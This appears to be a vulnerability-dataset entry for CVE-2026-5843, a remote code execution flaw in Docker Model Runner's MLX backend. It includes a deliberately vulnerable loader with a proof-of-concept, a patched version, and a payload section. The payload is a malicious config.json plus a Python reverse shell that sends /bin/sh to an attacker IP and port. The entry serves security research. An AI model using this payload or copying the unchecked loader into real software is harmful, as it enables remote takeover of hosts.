VAITP Dataset

← Back to the dataset

CVE-2026-5843

Docker Model Runner MLX backend allows RCE via malicious model configs.

  • CVSS 8.8
  • CWE-829
  • Input Validation and Sanitization
  • Remote

The MLX inference backend in Docker Model Runner on macOS uses the MLX-LM library, which unconditionally imports and executes arbitrary Python files from model directories via the model_file configuration field in config.json. When a model's config.json specifies a model_file pointing to a Python file, MLX-LM uses importlib to load and execute it with no trust_remote_code gate or equivalent safety check. The MLX backend runs without sandboxing, resulting in arbitrary code execution on the Docker host as the Docker Desktop user. Any container on the Docker network can trigger this by calling the model-runner.docker.internal API to pull a malicious model from an attacker-controlled OCI registry and request inference.

CVSS base score
8.8
Published
2026-05-22
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Remote File Inclusion (RFI)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
MLX-LM libra
Fixed by upgrading
Yes

Solution

Upgrade Docker Model Runner to version 0.2.0 or later.

Vulnerable code sample

import os
import json
import sys
import importlib.util

# This function simulates the vulnerable model loading mechanism.
# It reads a config.json, finds a 'model_file' field, and if it points
# to a Python file, it executes it without any safety checks.
def vulnerable_model_loader(model_path: str):
    config_path = os.path.join(model_path, "config.json")

    with open(config_path, "r") as f:
        config = json.load(f)

    # The vulnerability lies in unconditionally trusting the 'model_file' field.
    model_file_name = config.get("model_file")

    if model_file_name and model_file_name.endswith(".py"):
        module_path = os.path.join(model_path, model_file_name)
        module_name = model_file_name.split(".")[0]

        print(f"[+] Found Python file in config: {module_path}")
        print(f"[!] Executing '{module_path}' due to missing trust check...")

        # Core of the vulnerability: import and execute the specified file.
        spec = importlib.util.spec_from_file_location(module_name, module_path)
        if spec and spec.loader:
            malicious_module = importlib.util.module_from_spec(spec)
            sys.modules[module_name] = malicious_module
            spec.loader.exec_module(malicious_module)
        else:
            print(f"[-] Failed to create module spec for {module_path}")


# --- Demonstration Setup ---
if __name__ == "__main__":
    MALICIOUS_MODEL_DIR = "malicious_model_dir"
    PAYLOAD_FILE = "malicious_code.py"
    PROOF_OF_EXECUTION_FILE = "pwned.txt"

    # 1. Create a fake "malicious model" directory.
    os.makedirs(MALICIOUS_MODEL_DIR, exist_ok=True)

    # 2. Create the malicious config.json pointing to a Python file.
    config_content = {"model_file": PAYLOAD_FILE}
    with open(os.path.join(MALICIOUS_MODEL_DIR, "config.json"), "w") as f:
        json.dump(config_content, f)

    # 3. Create the Python file payload.
    payload_content = f"""
import os
print("-------------------------------------------------")
print("!!! PWNED: ARBITRARY CODE EXECUTION SUCCESSFUL !!!")
print("!!! This code is running on the host machine.   !!!")
with open('{PROOF_OF_EXECUTION_FILE}', 'w') as f:
    f.write('This file was created by the exploited process.')
print("!!! Created proof file: {PROOF_OF_EXECUTION_FILE} !!!")
print("-------------------------------------------------")
"""
    with open(os.path.join(MALICIOUS_MODEL_DIR, PAYLOAD_FILE), "w") as f:
        f.write(payload_content)

    print(f"[*] Simulating model runner loading from './{MALICIOUS_MODEL_DIR}/'")

    # 4. Trigger the vulnerability.
    try:
        vulnerable_model_loader(MALICIOUS_MODEL_DIR)
    except Exception as e:
        print(f"[!] An error occurred: {e}")

    # 5. Verify the exploit and clean up.
    if os.path.exists(PROOF_OF_EXECUTION_FILE):
        print(f"\n[+] Verification successful: '{PROOF_OF_EXECUTION_FILE}' found.")
        os.remove(PROOF_OF_EXECUTION_FILE)
    else:
        print(f"\n[-] Verification failed: '{PROOF_OF_EXECUTION_FILE}' not found.")

    os.remove(os.path.join(MALICIOUS_MODEL_DIR, "config.json"))
    os.remove(os.path.join(MALICIOUS_MODEL_DIR, PAYLOAD_FILE))
    os.rmdir(MALICIOUS_MODEL_DIR)
    print("[*] Cleanup complete.")

Patched code sample

import json
import importlib.util
from pathlib import Path

def load_model_with_fix(model_path: str, trust_remote_code: bool = False):
    """
    Represents the fixed model loading logic.

    This function simulates loading a model configuration. It includes the
    safety check that was added to fix the arbitrary code execution
    vulnerability.
    """
    model_path = Path(model_path)
    config_path = model_path / "config.json"

    if not config_path.exists():
        raise FileNotFoundError(f"Configuration file not found at {config_path}")

    with open(config_path, "r") as f:
        config = json.load(f)

    # Check for a key that specifies a Python file to be executed.
    if "model_file" in config:
        # THE FIX: Check an explicit trust flag before executing any code.
        # By default, trust_remote_code is False, preventing execution.
        if not trust_remote_code:
            raise ValueError(
                "The model configuration requests to execute a Python file "
                f"('{config['model_file']}'), but `trust_remote_code` is not set to True. "
                "Refusing to execute untrusted code."
            )

        # This part is only reached if the user explicitly opts in.
        print(f"Executing model file '{config['model_file']}' with user's explicit consent.")
        model_file_path = model_path / config["model_file"]

        if not model_file_path.exists() or not model_file_path.name.endswith(".py"):
             raise FileNotFoundError(f"Invalid or missing model file: {model_file_path}")

        # The dangerous operation, now guarded by the 'trust_remote_code' flag.
        spec = importlib.util.spec_from_file_location("model_code", model_file_path)
        if spec and spec.loader:
            module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(module)
            print("Code execution complete.")
        else:
            raise ImportError("Could not load the model file as a Python module.")

    else:
        print("Configuration does not contain a 'model_file'. No code execution needed.")

# Example Usage to demonstrate the fix:

# 1. Create a dummy malicious model directory
Path("malicious_model").mkdir(exist_ok=True)

# 2. Create the malicious config.json
with open("malicious_model/config.json", "w") as f:
    f.write('{"model_file": "malicious_code.py"}')

# 3. Create the malicious Python file
with open("malicious_model/malicious_code.py", "w") as f:
    f.write('import os; print("!!! PWNED by arbitrary code execution !!!"); os.system("echo PWNED")')

# --- DEMONSTRATION OF THE FIX ---

print("--- Attempting to load model without trusting remote code (SAFE - DEFAULT) ---")
try:
    # This call will fail because trust_remote_code is False by default.
    load_model_with_fix("malicious_model")
except ValueError as e:
    print(f"SUCCESSFULLY BLOCKED: {e}\n")


print("--- Attempting to load model while explicitly trusting remote code (UNSAFE) ---")
try:
    # This call will succeed because the user explicitly allows it.
    load_model_with_fix("malicious_model", trust_remote_code=True)
except Exception as e:
    print(f"Error during execution: {e}")

Payload

{
  "model_type": "mlx_lm",
  "model_file": "payload.py"
}
```

```python
import socket, subprocess, os

# Replace with the attacker's listening IP and port
ATTACKER_IP = "10.0.0.1"
ATTACKER_PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ATTACKER_IP, ATTACKER_PORT))
os.dup2(s.fileno(), 0) # STDIN
os.dup2(s.fileno(), 1) # STDOUT
os.dup2(s.fileno(), 2) # STDERR
p = subprocess.run(["/bin/sh", "-i"])

Cite this entry

@misc{vaitp:cve20265843,
  title        = {{Docker Model Runner MLX backend allows RCE via malicious model configs.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-5843},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-5843/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::